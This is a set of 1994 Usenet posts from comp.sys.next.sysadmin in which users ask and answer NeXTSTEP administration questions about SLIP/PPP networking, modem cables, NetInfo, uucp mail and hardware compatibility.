Organization: Academic Computing Services, Sheffield University
Message-ID: <2svjic$ehj@hippo.shef.ac.uk>
References: <1994Jun6.103339.2115@ringer.cs.utsa.edu>
Douglas R. Floyd (dfloyd@lonestar.utsa.edu) wrote:
: Please E-mail me responses, etc. as the NNTP server will be down for
: "brain surgery"... i. e. upgrade from SUNOS 1.x to Solaris 2.3...
:
You mean lobotomy...?! :-)
Have fun,
mmalcolm.
Newsgroups: comp.sys.next.sysadmin
From: steve@xbrcom.qc.ca (Steve Audy)
Subject: Big problems with hardware handshake on the 68040!
Message-ID: <CJGPBXWW@math.fu-berlin.de>
Sender: news@math.fu-berlin.de (Math Department)
Organization: Free University of Berlin, Germany
Date: Mon, 6 Jun 1994 18:11:06 GMT
Hi,
I am trying to setup a NeXT Station for a SLIP connexion on the
Internet at 19.2K.
I installed the SLIP package from TransSys (19920904) and configure it
to dialout on the same modem and cable I was using with Versaterm SLIP
on the Macintosh. The modem is a 'Practical Modem 9600SA' and the cable
supports hardware handshake (on the Macintosh, anyway). This is the
setup string I send to the modem: ATE0&C1W1.
Here's my problem: When I send a file larger than 200K the connection
will drop, and the system will report that the network is down.
(Overflow problem??)
I tried using 'cufa' instead of 'cua' but the modem lights would never
flash. (I get the error message 'Unable to get modem's attention').
I read somewhere that to use cufa I need to lock the DTE speed to 19200
but I just can't figure out how to do this.
What am I doing wrong? Why is the modem not working with cufa?
PS: I tried SupraFaxModemV.32, HayesOptima9600 and Zoom14.4 but with
the same results.
Thanks in advance for any help!
Steve Audy
steve@xbrcom.qc.ca
(Please E-mail me responses, etc.)
Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: SLIP or PPP fat on 3.2?
Message-ID: <1994Jun6.183620.3608@vlsi.polymtl.ca>
Summary: ppp or slip for 3.2 i386, where ?
Keywords: PPP SLIP 3.2 I386
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Mon, 6 Jun 1994 18:36:20 GMT
Where can i get a ppp or slip running on a 3.2 and compiled for i386 arch?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
__
/ /_/
__/ / /
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT->Mac TCP Connection
Date: 6 Jun 1994 21:25:25 GMT
Organization: San Francisco State University
Message-ID: <2t0485$rt6@nic-nac.CSU.net>
References: <2ssrf0$bgi@crl.crl.com>
In article <2ssrf0$bgi@crl.crl.com> mrlizard@crl.com (Roy Dudley)
writes:
>Help! I am trying to use a Macintosh running MacTCP 2.04 as a client
>to a NeXT cube running NextStep 2.1 (yeah yeah) as a Sybase server. I
>can't even ping each computer from the other. They are connected via
>single 10Base-2(thinnet) connection.
Have you checked the obvious: Bad cable? Missing terminators?
On the NeXT side...
- Is an IP address specified in /etc/hostconfig
(INETADDR=xxx.xxx.xxx.xxx)?
On the Mac side...
- Have you used Network Software Installer 1.4.4?
- Is MacTCP configured for Manual addressing?
- Have you given the Mac an address on the same IP
Network as the NeXT (but not identical to the NeXT's
IP address)
- Have you launched at least one MacTCP client since
the last reboot?
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.nl (Gerben Wierda)
Subject: Re: Big problems with hardware h####################################################################
####################################################################
From: jgardne3@mason1.gmu.edu (Jonathan D Gardner)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTstep 3.2
Date: 7 Jun 1994 05:43:07 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2t11db$5mu@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I am thinking of upgrading to NS 3.2 on my Color Slab. Are there any
problems I should anticipate when moving from 3.1 to 3.2? I have a
freind who said he had many problems with 3.2 but he wasn't specific.
Thanks for the help.
jgardne3@mason1.gmu.edu
From: jbm@aiinet.com (John Milton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: [Q] RUNNING X-WINDOWS ON NeXT
Date: 7 Jun 1994 07:16:24 GMT
Organization: Applied Innovation, Inc.
Message-ID: <2t16s8$9mm@aisun.aiinet.com>
References: <CqE6tv.FCr@muaddib.isar.de>
In article <CqE6tv.FCr@muaddib.isar.de> mgoedel@muaddib.isar.muc.de (Maximilian Goedel) writes:
>In article <2rvi2o$ioj@senator-bedfellow.MIT.EDU> fgan@athena.mit.edu (Gan Fanqui)
>writes:
..
>There are, I think two commerical apps called Pencom co-Xist and CUB'X.
>A public domain X-Windows X11R5 called mouseX can be found, I think it was
>cs.orst.edu.
Are there any plans (or has it already been done) to make a FAT port of mouseX?
John
--
John Bly Milton IV jbm@aiinet.com (614) h:252-8544, w:798-8301
NeXTmail OK AMPR:N8KSN[44.70.0.52] Don't FLAME, inform!
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: pim@barany.med.rug.nl (Pim van Dijk)
Subject: noiseless NeXTSTEP computer?
Sender: usenet@risc1.rug.nl
Message-ID: <Cr0qv8.EJy@risc1.rug.nl>
Date: Tue, 7 Jun 1994 08:42:43 GMT
Organization: Rekencentrum der Rijksuniversiteit Groningen
Keywords: no fan no harddisk
Hi,
Are there noiseless computersystems available which can run NeXTSTEP?
Noiseless means: a normal hearing person in a silent room should not be
able to hear the equipment. That means not having a fan or a harddisk. I
am thinking of something like an X-window terminal, but I don't want to
run X-windows.
Background:
My application is performing hearing tests in a hospital environment. For
these tests, the investigator and the patient sit in a sound isolated
room. The investigator should be able to control equipment (e.g. a
computer) from within the room. Any equipment within the room must be
'absolutely' noiseless.
Pim van Dijk
P.van.Dijk@med.rug.nl
From: kiwi@next2032.le.tu-berlin.de (Axel Habermann)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Big problems with hardware handshake on the 68040!
Date: 7 Jun 1994 09:19:14 GMT
Organization: Technical University of Berlin, Germany
Distribution: world
Message-ID: <2t1e2i$noq@news.cs.tu-berlin.de>
References: <1994Jun6.211534.2044@rna.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
In article <1994Jun6.211534.2044@rna.nl> gerben@rna.nl (Gerben Wierda)
writes:
> Steve Audy writes
> > supports hardware handshake (on the Macintosh, anyway). This is the
>
> Mac cable is different if I recall correctly. look at the online docs
for a pin
> layout of a correct cable.
Yes, Mac cable _is_ different. It will transmit data but not support
hardware flow control. Get a proper cable.
--
Axel Habermann \\|// "Wenn Du
kiwi@cs.tu-berlin.de (NO NeXT MAIL) )o o( nicht weisst
kiwi@belly.in-berlin.de (NeXT Mail) \ | / was Du tust,
FaxFon: +49 30 4543046 \~/ mach's mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
Subject: How to edit user groups remotely?
Message-ID: <jtarr.770932653@husc7.harvard.edu>
From: jtarr@husc7.harvard.edu (Jeff Tarr)
Date: 6 Jun 94 19:57:33 GMT
Organization: Harvard University, Cambridge, Massachusetts
I am managing a Cube running NS 2.1 remotely (through telnet only).
I've noticed that all user information appears to be stored some place
other than the typical Unix places, ie: /etc/passwd doesn't contain
user information, etc.
The machine is not running YP or netinfo - it is acting as a Unix box on
its own.
How can I add a user to a group? The /etc/group file is not read, so that
doesn't work.
On that note, where is the actual passwd file? I'd like to be able to edit
it by hand.
Please e-mail responses.
Thank you in advance.
--
Jeff Tarr
jtarr@husc.harvard.edu
WWW: http://jtarr.student.harvard.edu/
"If I'm right 90% of the time, why quibble about the remaining 3%?"
Newsgroups: comp.sys.next.sysadmin
From: gery@ares.fdn.org (Gery Divry)
Subject: Re: Booting up NextStep from CDROM on a HP712
Message-ID: <1994Jun7.062315.1427@ares.fdn.org>
Sender: news@ares.fdn.org
Organization: Ares - Lyon, France.
References: <CqsGpC.HA4@news.cis.umn.edu>
Date: Tue, 7 Jun 1994 06:23:15 GMT
In article <CqsGpC.HA4@news.cis.umn.edu> scott@geom.umn.edu (Scott S.
Bertilson) writes:
: Well, we are using ALL HP equipment and we can't get it to work
:on our 712/60 either. We have a HP A1999A CDROM drive instead of
:the "tested" A2655A. Any hints or clues much appreciated.
: Scott S. Bertilson
:--
So I have exactly the same problem
On our 712/60 . I got a HP A1999A CDROM drive instead of the "tested"
A2655A. AND DESPITE THE FACT THAT HP ASSURE ME THAT THE 1999 AND THE 2655
ARE EXACTLY THE SAME (EXCEPT THE BOX) IT DONT WORK .... I AM UNABLE TO BOOT
Gery DIVRY ( ZZVolume Daddy )
ARES Publisher
8, rue Victor Lagrange Phone: (+33) 72 80 16 30
69007 LYON Fax: (+33) 72 80 16 32
France Email: gery@ares.fdn.org
Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: changing the file tools system wide
Message-ID: <1994Jun7.061850.9073@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jun5.141614.8556@earlham.edu>
Date: Tue, 7 Jun 1994 06:18:50 GMT
In article <1994Jun5.141614.8556@earlham.edu> writes:
> For some weird reason the default tool on our system for postscript
files
> changed from the Preview.app to the Opener.ap ?! Is there a way to
change it
> back system wide instead of changing it for each user?
You could try changing the sequence of the Workspace Load Path so that
/NextApps comes before /LocalApps; or you could link Preview in to
/LocalApps so that it comes before Opener.
Paul
--
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
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From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Re: SLIP or PPP fat on 3.2?
Message-ID: <1994Jun7.134855.3768@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
References: <1994Jun6.183620.3608@vlsi.polymtl.ca>
Date: Tue, 7 Jun 1994 13:48:55 GMT
ok, i found it...
i had to look for TransSys and not for SLIP...
thank
Jean-Marc Heneman (jmh@info.polymtl.ca) wrote:
: Where can i get a ppp or slip running on a 3.2 and compiled for i386 arch?
: --
: jmh
: jean-marc heneman = jmh@info.polymtl.ca
: if mail bounces, try jmh@aircanada.ca
: I prefer ASCII mail for now, but you can send me NextMail for attachment
: __
: / /_/
: __/ / /
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: Compress help??
Message-ID: <Cr1vKL.27p@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <2stgnk$54i@eps.rain.com>
Date: Tue, 7 Jun 1994 23:21:56 GMT
In article <2stgnk$54i@eps.rain.com> steve@eps.rain.com (Steven Kornreich) writes:
| I've got a major problem.. I went to compress my applications using
| compress under Workspace and then I ftp'd the compressed files to another
| machine but the transfer mode was set for ascii, not binary.. I then
| tossed the compressed files. I went to the other machine to uncompress
| them and know luck.. Is there anything I can do? Or am I SOL.. The
| compressed files now reside on the other machine but they are ascii
| compressed files. If that makes any sense..
|
| Steve Kornreich
Hi Steve, there is really no problem sending compressed files (by Workspace-command)
by ftp from one machine to another. I do that several times a day. Got files from
cs.orst.edu by an SGI, ftp'ed it to a convex, uncompressed it there (gunzip).
The magic is the "set binary" command. Otherwise your file will be send by 7 Bits,
(ascii) which is standard. But normally, the ftp-site schould recognize, which
machine it is connected to ...
... Should be ... 8~)
Nice Greetings from Munich
--
Michael Maximilian Goedel email_____________________________
Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
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From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: Need help creating mail alias for uucp
Message-ID: <Cr1w2E.28x@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <2sua16$7pp@taco.cc.ncsu.edu>
Distribution: usa
Date: Tue, 7 Jun 1994 23:32:37 GMT
In article <2sua16$7pp@taco.cc.ncsu.edu> buchanan@math.ncsu.edu (Bob Buchanan) writes:
| Recently I configured my system for UUCP. I followed the instructions
| in Chap. 12 of the (Digital Librarian on-line version) NeXT System
| Administration manual. I thought it would be nice to monitor the UUCP
| activity so I followed the instructions relating to the shell script
| /etc/uucp/uucp.sh.day as described in the section of Chap. 12 called,
| "Activity Reports". Step #1 requires setting up a mail alias in
| NetInfo called "uucpstats". I followed the instructions in Chap. 6 of
| the NeXT System Administration manual, section "Creating Mail
| Aliases". Everything went as expected until I tried to issue the
| command /usr/bin/mailDBupdate and here is what happens:
|
| % /usr/bin/mailDBupdate
| Can't open aliases file.
| Error writing aliases file.
| %
|
| At this point I'm stuck. Does anyone know what might be wrong? Does
| anyone have a work-around? Any suggestions will be appreciated. For
| the record, I'm running NS3.2 (black) on a standalone system.
|
|
| --
| Bob Buchanan
| 919-515-2382 (work) 919-776-7371 (home)
| buchanan@math.ncsu.edu
| Math Dept, NCSU Box 8205, Raleigh, NC 27695-8205
Sorry, didn't get the picture belonging to your problem. If you want to know,
who's the man, the STATS will be send to, simplay change the following line
in your uucp.day.sh file
(My loginname is "mgoedel" and my machine has the name "muaddib" )
#
# STATSPERSON - place to email these stats to. this is really not
# a person but a archival script
#
STATSPERSON=uucpstats@localhost.com
#
# L-costs has a list of sites and cost in $/minute. e.g.
# sun cost 0.34
# housun cost 0.40
in (for example)
#
# STATSPERSON - place to email these stats to. this is really not
# a person but a archival script
#
STATSPERSON=mgoedel@muaddib (or simplay mgoedel)
#
# L-costs has a list of sites and cost in $/minute. e.g.
# sun cost 0.34
# housun cost 0.40
Hope that was your problem
Nice Greetings from Munich
--
Michael Maximilian Goedel email_____________________________
Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
Newsgroups: comp.sys.next.sysadmin
From: yoda@cis.uni-muenchen.de (Marc Guenther)
Subject: AFS and Kerberos for NextStep ???
Sender: news@informatik.uni-muenchen.de (News System)
Message-ID: <Cr2076.1s4@informatik.uni-muenchen.de>
Date: Wed, 8 Jun 1994 01:01:53 GMT
Organization: Institut fuer Informatik der Universitaet Muenchen
Hello,
does someone know a version of AFS and/or Kerberos for Nextstep ????
Transarc used to have AFS, but they stopped continuing it.
(you can still bet it, but the latest version is for 3.0,
if I remeber correctly)
Some time ago, this Eric P. Scott guy said, that AFS and Kerberos is out
there somewhere. As Im very interested in this, I asked him where I
could get it, but got no reply at all.
So would anyone other who knows, share their knowledge with the rest of
the world ?? I would be very grateful.
Thanks !
--
Marc Guenther
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From: gerti@BITart.sub.org (Gerd Knops)
Subject: Re: Kodak Photo CD, how??
Message-ID: <Cr1oK0.to@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
References: <CqL9uK.D00@news.cis.umn.edu>
Date: Tue, 7 Jun 1994 20:50:23 GMT
In article <CqL9uK.D00@news.cis.umn.edu> jimbo@oingo.umn.edu writes:
> My NeXTStation ejects the CD after scanning for DOS/MAC/audiocd because
> it doesn't recognize it. So, I cant use PhotoAlbum because the disk is
> ejected.
Mail to you bounces (klett@sunrayce.solar.umn.edu), otherwise you would
have had this answer a week ago...
Not every CDRom drive is able to read photo CDs. If you can't read photo
CDs, and your drive is not a TOSHIBA, you are out of luck. For the
TOSHIBAs you need a small program called XAmode.
It is available via ftp:
arcadia.informatik.uni-muenchen.de:
/pub/platforms/next/Tools/cdrom/XAmode.1.NI.b.tar.gz
Gerd
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From: samurai@cs.mcgill.ca (Darcy BROCKBANK)
Subject: Re: noiseless NeXTSTEP computer?
Message-ID: <1994Jun8.011418.21396@sifon.cc.mcgill.ca>
Keywords: no fan no harddisk
Sender: news@sifon.cc.mcgill.ca
Organization: SOCS, McGill University, Montreal, Canada
References: <Cr0qv8.EJy@risc1.rug.nl>
Date: Wed, 8 Jun 1994 01:14:18 GMT
In article <Cr0qv8.EJy@risc1.rug.nl> P.van.Dijk@med.rug.nl writes:
>Hi,
>
>Are there noiseless computersystems available which can run NeXTSTEP?
>Noiseless means: a normal hearing person in a silent room should not be
>able to hear the equipment. That means not having a fan or a harddisk. I
>am thinking of something like an X-window terminal, but I don't want to
>run X-windows.
>
My NEC Versa makes almost no noise. If you can deal with
NS on 640x480, in mono (or in color when someone releases
a color driver), then this is an option. It's a laptop,
so there's no fan or anything. The drive is really quiet,
and most of what you hear is the keyboard.
It's a lovely computer.
- darcy
--
<Here we are! Here we are! Here we are!> Stipe <I don't know.> Steve
<It's never really happy for me.> Housemartins <Even a stopped clock
tells the right time twice a day.> and I <A nod's as good as a wink
wink to a blind man> Idle <Must be a bug in the AppKit.> Ivo + Paul
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From: thsscvc@iitmax.iit.edu (Chris Conley)
Subject: Does any removeable 128 optical or Syquest drive work with Next Black?
Message-ID: <1994Jun7.223828.9065@iitmax.iit.edu>
Keywords: 128 opticals and syquest that work with NeXT
Organization: Illinois Institute of Technology / Academic Computing Center
Date: Tue, 7 Jun 94 22:38:28 GMT
I would like to get a removeable cartridge drive for my two Nexts and now
(because I have Daydream), my two Macs.
Does any 128 MO, say the APS or ClubMac work with NEXTSTEP? The same
question for 270MB Syquests?
Any info would be appreciated.
Thanks,
Chris Conley
Chicago
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Network woes on NS/FIP - TransSys PNI SLIP issues
Date: 8 Jun 1994 04:25:30 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2t3h7q$9j1@usenet.rpi.edu>
References: <2sqr0a$f0t@cs.ubc.ca>
croehrig@celegans.psych.ubc.ca (Chris Roehrig) writes:
> chris@clubside.digex.net (Chris Rowley) writes:
> > Hello again, no I won't go away, because this is very frustrating.
> > The sole reason I bought NeXTStep for Intel was so I could do
> > UNIX school work connected via SLIP to the university. No such
> > luck so-far.
> > [...]
> > One of the problems is the TranSys PNI docs are totally devoid
> > of information in maintaining the network outside of installation.
> > They don't even mention the resolv.conf file. So here's my plea:
> > [...]
>
> I agree completely! PNI is in no shape to be released to the
> public. However, it is a beta, and they do warn you that you
> pretty much need to be an expert on IP and SLIP to install it.
> But then, they also say that 1.9 is likely to be the last beta
> release. (!) I hope the full release will be able to deal with
> automatically setting up full network services.
My experience was that it was a lot of work to setup, but now
that it's setup it seems quite nice to have it. I agree that
it needs to be easier to setup, though I don't necessarily
have any good suggestions on how to do it. I do know that I
can setup Versaterm's SLIP (on a Mac) with *much* less work...
> I've been having some frustrating times too. However, I have
> things pretty much working now (with the exception of Mach IPC,
> which I'm still tracking down).
>
> ... Getting it to stop trying to check the network after the
> link is brought down takes more work.
[munch]
> After you bring SLIP down (in the LINK_stop module), you have
> to be a bit more heavy handed: rm resolv.conf, kill lookupd,
> kill nibindd, restart nibindd, and then restart lookupd. I put
> a sleep 1 between the two restarts so that nibindd gets its act
> together and forks a netinfod before lookupd tries to connects
> to one. Anything less than this doesn't seem to do the trick.
Ick. That doesn't sound too nice.
I was running into problems with "Netinfo Sleeping" after I
brought down the SLIP link. Instead of doing all the things
you do, I just used the ifconfig command. So my script that
brings down slip just has four lines:
#!/bin/sh
/etc/pni/bin/pnistat > /dev/console
/etc/pni/bin/pnistat -c down pni0
/usr/etc/ifconfig pni0 down
This seems to do the trick nicely for me. I may bring my
SLIP connection up and down several times over a few days,
without ever rebooting my system at home. I wouldn't claim
that I really know what I'm doing, but most things that I've
tried seem to work just fine [for my purposes, at least].
There's some other tips on PNI's SLIP that I was thinking
of writing up (or asking about) sometime, but lately there
just haven't been enough hours in the day for me. However,
I do think the above script would help out anyone who is
in the same situation as I am, with a link that you need
to bring up & down.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: steve@eps.rain.com (Steven Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: domain not in return path?
Date: 8 Jun 1994 05:35:26 GMT
Organization: Kornreich Communications
Distribution: world
Message-ID: <2t3lau$22j@eps.com>
How Do I get my domain name of eps.com to show in my return path..
ie return path <?@eps.com>?? Right now it is <?@eps>
I have "domain com" in my resolve.conf.
Thanks
Steve Kornreich
From: houdini@escape.com (Nick)
Newsgroups: comp.sys.next.sysadmin
Subject: Test, ignore
Date: 6 Jun 1994 21:50:38 GMT
Organization: Escape ONLINE.
Message-ID: <2t05ne$okc@beyond.escape.com>
Please ignore.
escape
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From: delano@acsu.buffalo.edu (Harry DeLano)
Subject: Booting NS on a NEC Image 466e
Message-ID: <Cqzt4I.Dsp@acsu.buffalo.edu>
Sender: nntp@acsu.buffalo.edu
Organization: UB
References: <1994Jun6.103339.2115@ringer.cs.utsa.edu> <2svjic$ehj@hippo.shef.ac.uk>
Date: Mon, 6 Jun 1994 20:33:52 GMT
This is a 486-based machine with an Adaptec AHA-1510 SCSI controller,
which NS doesn't support. I got the driver patch off of a BBS as
recommended by NEC tech support. The problem is that I can't figure
out how to install this patch. On booting 3.2, I am asked to insert a
floppy with any other drivers that might be needed. It looks like it
expects something I don't know how to provide. It complains about a
"bad magic number." I don't have another NS system handy. Is there a
way I might properly format a floppy using SunOS or other Unix?
Harry DeLano
SUNY Buffalo Computer Science
From: steve@eps.rain.com (Steven Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: NS_FIP3.2 +DOS6.2/Windows 3.1 perm swap file.
Date: 7 Jun 1994 04:25:43 GMT
Organization: Kornreich Communications
Distribution: world
Message-ID: <2t0ss7$dj@eps.rain.com>
I'm not sure if the problem is NS but I re partitioned my drive for 200 mb
dos and 800 mb NS.. I used the partion in NS installer.. Everything is
fine but when I go into Windows and try to setup a permanent swap file I
get a message saying perm swap file cannot be created partition table not
supported or something.. Has anyone run into this problem.. Unfortunately
I have to run DOS/Windows yuck.. occasionally nd it would be nice to be
able to have a perm. swap file..
-Steve Kornreich
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From: Nghiem_Alex@pcp.ca (Alex Nghiem)
Subject: remote NeXTMail
Message-ID: <1994Jun7.044459.6803@pcp.ca>
Keywords: mail, remote
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
Date: Tue, 7 Jun 94 04:44:59 GMT
Hello there:
What's the easiest way to receive NeXTMail if I'm on the road? I often
take extensive trips from Canada to the US and during that time, I can't
reach my mail because my uucp link (via UUNET) is hooked to my desk
machine. Is there an easy way of routing my mail from my desk machine to a
NeXTSTEP portable? Is there a cheap portable out there than can run NS for
the sake of reading NeXTMail?
Please e-mail me and I'll summarize if there's any interest.
Thanks,
Alex
Nghiem_Alex@pcp.ca
alex@oolesson.com
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From: shanb001@maroon.tc.umn.edu (Sharad J Shanbhag)
Subject: Re: Novell
Message-ID: <Cqxz7z.KIA@news.cis.umn.edu>
Sender: shanb001@maroon.tc.umn.edu
Organization: University of Minnesota
References: <CqxCM9.Msv@cunews.carleton.ca>
Date: Sun, 5 Jun 1994 20:48:34 GMT
>Just how easy is it to integrate a NS system into a Novell net
>using the supplied client software. This next system has been
>standalone up to this point, and will be the only non-windows
>system on this net.
>- What kind of problems can I expect?
I went through this process about eight months ago when connecting my
'Station to our network, and have had no problems. Compared to the stres
involved in getting our Sun LX to talk to Novell, the NeXT is simple as can
be.
Basically the procedure is to run NetWareManager.app and supply the proper
settings (this involves enabling NetWare, rebooting, then picking your
server and printer and authenticating to the server).
For internet access, you will need an IP address for your machine, the
address for the gateway/router for your network, and the nameserver
address. Your sysadmin should be able to supply you with these.
Otherwise, talk to the people who run the university backbone.
One thing to remember is that Novell and Internet are more or less
independent. For example, my NetWare password expired recently, and our
sysadmin was on vacation. Now, I have disabled NetWare, but everything
else is fine. I can send email, telnet, rlogin , run remote processes, etc.
I have found that the NeXT (at least my NeXT, running 3.0) does not
automatically log you out of the server when you log out of the NeXT.
Also, it appears that two NeTWare sessions are created when you
authenticate to the server. This is not a huge problem unless you move to
a PC and try to connect to the server: if you only have two allowed
NetWare sessions, you won't be able to get onto the server.
Of course, rebooting the NeXT causes a deauthentication to the server, so
If I HAVE to use a PC (which ultimately raises my blood pressure), I have
a means of doing so.
File transfers are more of less transparent: just make sure your filenames
conform to the DOS requirements!
>I'm just trying to guage how much pain this could cause me, and if
>it is worth the effort.
well, for me it was well worth the effort. I collect all my data during
experiements on a PC, and wind up with data sets of anywhere from 2 to 30
MB. FTP would take forever for these large files. Instead, I can simply
read the data from the filesystem on the NetWare server.
Hope this helps,
Sharad
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sharad J. Shanbhag phone: (612) 626-9218
Graduate Program in Neuroscience and fax: (612) 626-9201
Department of Neurosurgery
University of Minnesota email:
421 Lions Research Building shanbhag@neuro.med.umn.edu
2001 6th St. SE shanb001@maroon.tc.umn.edu
Minneapolis, MN 55455
From: steve@eps.rain.com (Steven Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: Compress help??
Date: 5 Jun 1994 21:40:04 GMT
Organization: Kornreich Communications
Distribution: world
Message-ID: <2stgnk$54i@eps.rain.com>
I've got a major problem.. I went to compress my applications using
compress under Workspace and then I ftp'd the compressed files to another
machine but the transfer mode was set for ascii, not binary.. I then
tossed the compressed files. I went to the other machine to uncompress
them and know luck.. Is there anything I can do? Or am I SOL.. The
compressed files now reside on the other machine but they are ascii
compressed files. If that makes any sense..
Steve Kornreich
Newsgroups: comp.sys.next.sysadmin,comp.dcom.servers,comp.protocols.ppp
From: bob@MorningStar.Com (Bob Sutterfield)
Subject: Re: Problem with NeXT PNI SLIP+ethernet choking on mixed MTU sizes
In-Reply-To: kramer@fragile.termfrost.org's message of Wed, 1 Jun 1994 03: 27:38 GMT
Message-ID: <BOB.94Jun5222830@roughy.MorningStar.Com>
Sender: news@MorningStar.Com
Organization: Morning Star Technologies
References: <Cqp8A2.7A7@fragile.termfrost.org>
Date: Mon, 6 Jun 1994 02:28:34 GMT
In article <Cqp8A2.7A7@fragile.termfrost.org> kramer@fragile.termfrost.org (Mike Andrews) writes:
I'm running TransSys PNI SLIP 1.7 on a black 3.2 slab... The SLIP
server at the other end is a Xyplex MX1600 terminal server....
... when one of the other machines on my local net starts talking
to something outside; the MTU on the ethernet is 1500 bytes, and
the SLIP MTU is 1006 bytes. PNI seems to do a fine job of
splitting the big packets up and transmitting them to the remote
OK.
Fragmentation isn't PNI's job. Fragmentation happens at the IP layer,
which is part of the NeXT Mach kernel.
Apparently, though, the Xyplex dosen't do the same thing back --
I'm getting console errors on the NeXT to the effect of
May 31 22:53:43 fragile pnid-pni0[211]: SLIP slip: rec'd frame len=1496 exceeds MTU=1006
and since PNI then tosses the offending large packet out the
window, the local machine never sees it, and the connection seizes
up.
The only way to fix this is to tell the Xyplex box to reduce its MTU
(Maximum Transmission Unit) to 1006. That can only be done by the
administrator of the Xyplex box, since SLIP has no way to negotiate
preferred frame size.
It's curious that the Xyplex's SLIP interface tells its IP layer that
its MTU is something other (particularly something larger) than 1006.
So, does anyone have any ideas for a workaround??
Configure the Xyplex correctly, so it knows to fragment stuff down to 1006.
i.e. getting PNI not to dump packets over 1006 bytes on the floor??
Does PNI 1.8 or 1.9 address this at all?
I don't know.
Anyone have a PPP that works right?
Yes :-)
--
Bob Sutterfield, Morning Star Technologies +1 614 451 1883
1760 Zollinger Rd, Columbus Ohio USA, 43221-2856 +1 800 558 7827
bob@MorningStar.Com +1 614 459 5054 (FAX)
(soon: 3518 Riverside Dr, Suite 101, Columbus Ohio USA, 43221-1754)
From: gregory@nukestep.mit.edu (Gregory B Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: reverse video on boot
Date: 4 Jun 1994 20:42:57 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2sqp0h$jsd@senator-bedfellow.MIT.EDU>
I am getting a reverse video display when I boot and would
like to know how to change it to normal display.
I have DOS on the IDE drive and NEXTSTEP on a SCSI hard drive.
Therefore I am using the NEXTSTEP Installation floppy disk
as a boot disk, then entering "sd()mach_kernel" at the boot
prompt. When the NeXT login panel comes up it is in reverse
video. The BIOS utilities have the system set to normal video.
How do I change the configuration to display in normal and
not reverse video?
Thanks in advance,
Greg
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Network woes on NS/FIP
Date: 4 Jun 1994 21:16:58 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2sqr0a$f0t@cs.ubc.ca>
References: <chris.10.001677D5@clubside.digex.net>
In article <chris.10.001677D5@clubside.digex.net> chris@clubside.digex.net
(Chris Rowley) writes:
> Hello again, no I won't go away, because this is very frustrating.
> The sole reason I bought NeXTStep for Intel was so I could do
> UNIX school work connected via SLIP to the university. No such
> luck so-far.
> [...]
> When I boot, the system appears to hang after clearing the screen.
> [...]
> One of the problems is the TranSys PNI docs are totally devoid
> of information in maintaining the network outside of installation.
> They don't even mention the resolv.conf file. So here's my plea:
> [...]
> I cannot get it to resolve ANY names. I can ping and
> telnet and ftp AS LONG AS I know the actual address, but I can't
> 'ping arizona.edu' without an error.
>
> It is honesty unreasonable the amount of work involved
> to get SLIP going. You shouldn't have to edit files, you should
> get a sialog and the system does the rest. And what about my
> host? How does hostconfig play in this equation? And mail? And
> what about the dan name resolution?
I agree completely! PNI is in no shape to be released to the public.
